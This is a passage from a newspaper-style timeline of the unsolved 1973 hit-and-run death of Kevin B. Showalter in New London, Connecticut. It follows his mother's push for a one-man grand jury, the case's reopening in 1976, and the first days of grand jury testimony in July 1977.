Common Pleas court Prosecutor Harold Dean quashes the only lead in the two and a half year old investigation, The Norwich Bulletin reports. The lead was the letter of confession written by the inmate at Somers Prison. State police arrested the inmate for harassment of the victim’s mother, Mrs. Showalter, to whom the letter was sent. Dean nolled the case and allowed it to be dismissed despite a prior meeting with state police when the significance of the arrest was discussed.

State police did not believe the letter writer was responsible for the hit-run death, but they thought the letter contained possibly significant information. Dean said he was certain the accused had no knowledge of the case, because he was incarcerated when Mr. Showalter was killed.

August 7 The day following the Bulletin’s report of Dean quashing the lead, Chief State’s Atty. Joseph Gormley says he had “no idea” why the lead “which very well could have led to something,” resulted in a dead end. Two state police officers had met with Gormley to discuss the letter of confession.

August 6

State police list the investigation into the killing of Mr. Showalter as “closed pending further development.” That classification came 31 days after Dean threw the harassment case out of court.

August 30

Mrs. Showalter again asks Superior Court Judge Angelo Santaniello to call for a one-man grand jury probe.

September 1

Mrs. Showalter publicly renews her efforts to have a one-man grand jury reopen the investigation into the hit-run killing of her son. In a statement sent to 22 media outlets, Mrs. Showalter says she made the appeal in an August 30 letter to Superior Court Judge Angelo Santaniello. She says she was asking the judge to “make good on a promise” he made to her in June 1974. Santaniello wrote in a June 24, 1974 letter, Superior Court intercession would be possible if the investigation required it.

Santaniello said, “probably the proper person” to approach would be State’s Atty. C. Robert Satti. But Mrs. Showalter said she is ignoring Satti because he failed to respond to her December 1975 letter asking for the grand jury.

September 23

State’s Atty. C. Robert Satti says he needs another three weeks to review information on the killing of Mr. Showalter before deciding whether the investigation should be reopened or shelved.

Satti says he had hoped to have the matter resolved by today, but the sinking of his 35-foot cabin cruiser two weeks ago, an unexpected report of crimes by New London police, and a new trial forced him behind schedule.

November 23

Mrs. Showalter turns to Governor Ella T. Grasso for help.

“I cannot endure this loss of a beloved son in the midst of a governmental system that appears to neither act nor care,” Mrs. Showalter says in a letter to the governor.

Mrs. Showalter says she is skeptical the New London County State’s Attorney’s review of the case will result in the one-man grand jury she has requested. Satti today said he is still reviewing transcripts of the Coroner’s Inquest and refused further comment.

December 21

Just three days before the third anniversary of the killing of Kevin B. Showalter, the state’s chief court administrator orders the city’s only unsolved hit-and-run case reopened.

John P. Cotter signs an order creating a one-man jury to probe the death, renewing hopes that allegations of police bungling and mishandling of the case will be settled.

“I can’t yet believe it,” says Mrs. Showalter, calling the action a “literal miracle.”

Cotter, a justice on the state Supreme Court, selects retired Superior Court Judge Raymond J. Devlin to head the one-man grand jury.

An attorney representing Mrs. Lucille M. Showalter also files a $600,000 lawsuit against the unnamed person(s) responsible for the killing of her son. Atty. Averum J. Sprecher of East Haddam says the suit is aimed at protecting Mrs. Showalter’s rights.

“The action as I have filed it will definitively preserve her rights when the investigative bodies finally determine who killed the boy,” he said. The suit is aimed at heading off fears the state’s statute of limitations might preclude Mrs. Showalter from pursuing civil action if the killer is found.

December 24

Superior Court Judge Joseph F. Dannehy is ordered to replace State Referee Raymond J. Devlin as the one-man grand juror investigating Mr. Showalter’s death. Chief Court Administrator John P. Cotter says Judge Devlin had asked to be taken off the case because he was too busy with other duties, and would be unable to commute from his New Haven office.

1977

January 4

Austin J. McGuigan, the special prosecutor assigned to the one-man grand jury probing the hit-run death of Mr. Showalter promises to pull “all the stops” in his investigation but says he needs help from the public to succeed.

McGuigan has worked for the state for two years as the top investigator of organized crime. He appeals to anyone with information to call him confidentially.

February 8

State Police Commissioner Edward P. Leonard, as part of a last-resort effort, makes a personal appeal to area residents for information about the killing of Mr. Showalter. In a letter to the people who live near the Pequot Avenue site where Mr. Showalter died, Leonard asks for facts – “No matter how insignificant they may appear” – which might shed light on the car, the driver or the accident scene.

Special Prosecutor McGuigan says police “had no suspects.” However, he says if a suspect is found police believe there is sufficient evidence to tie the person to the case.

April 18

Investigators say they feel confident the Showalter case will be solved.

The new optimism comes after a public appeal netted more than 300 leads, new laboratory analysis of existing evidence, and an accounting of each of the more than 10,000 green Chrysler products registered in Eastern Connecticut when Mr. Showalter was killed.

The new evidence means “there is a significant possibility the vehicle in question was not a green Chrysler,” Special Prosecutor Austin McGuigan says. While the investigators will not say what other color the car might have been, the evidence apparently opens new avenues for the investigation. Previously, other theories on who drove the death car, theories which have had some substantiation, were locked into the green Chrysler theory, police acknowledge.

May 10

State police investigators spend two and a half hours recreating and filming the Pequot Avenue death scene where Mr. Showalter was the victim of the hit and run.

May 18

State police again film and re-create death scene.

June 22

The Bulletin reports that one of the most intensive investigations in state police history, the probe into Mr. Showalter’s hit-run death, will be given to a one-man grand jury July 5 in Windham county Superior Court.

Judge Joseph F. Dannehy, the grand juror, imposes a gag order on all investigators assigned to the case. Special Prosecutor McGuigan and 17 state police detectives had gathered evidence for the grand jury.

June 23

More than 50 persons will be subpoenaed and the scope of the probe will be expanded to include subsequent actions connected with the accident, The Bulletin reports.

June 24

Eleven New London police officers, including the top detective involved in the first of three investigations of the hit-run death, have been subpoenaed, The Bulletin reports.

July 5

The grand jury begins behind closed doors with testimony by New London Det. Lt. Konstanty T. Bucko.

Outside, a television camera crew drips with sweat under the glare of a hot summer sun.

Inside it is quiet and cool – almost like any other day. The state police detectives and reporters talk about golf, baseball and other summertime activities. Because of the gag order imposed by Judge Dannehy, they can’t talk about what is most on their minds, what has brought them all together – the unsolved hit-run death of Kevin B. Showalter.

The session lasts about five hours and also includes testimony by Mrs. Showalter and Debra Emilyta, Mr. Showalter’s companion the night he died.

Ms. Emilyta has been sitting on a wall about 6 feet from Mr. Showalter when he was killed. She told police she only heard the 20-year-old Mitchell College student struck, and did not see the car which struck him.

July 6

Witnesses include Michael Buscetto of Mike’s Arco in New London. What he identified as body putty, apparently from the car that struck and killed Mr. Showalter, has never been seen since police officers placed it in an envelope that night, according to sources.

Ms. Emilyta concludes testimony.

Also testifying are Dr. Robert Weller, members of his family, and a friend, who while returning home from church drove past Mr. Showalter as he was changing the tire. They were among the last persons to see Mr. Showalter alive.

Other witnesses include Mrs. Ruth P. Hendel and Mrs. Charles (Shirley Pope) Alloway, her daughter.

On Christmas Eve, 1973, Mrs. Hendel had just turned away from the window of her home on Pequot Avenue where she had been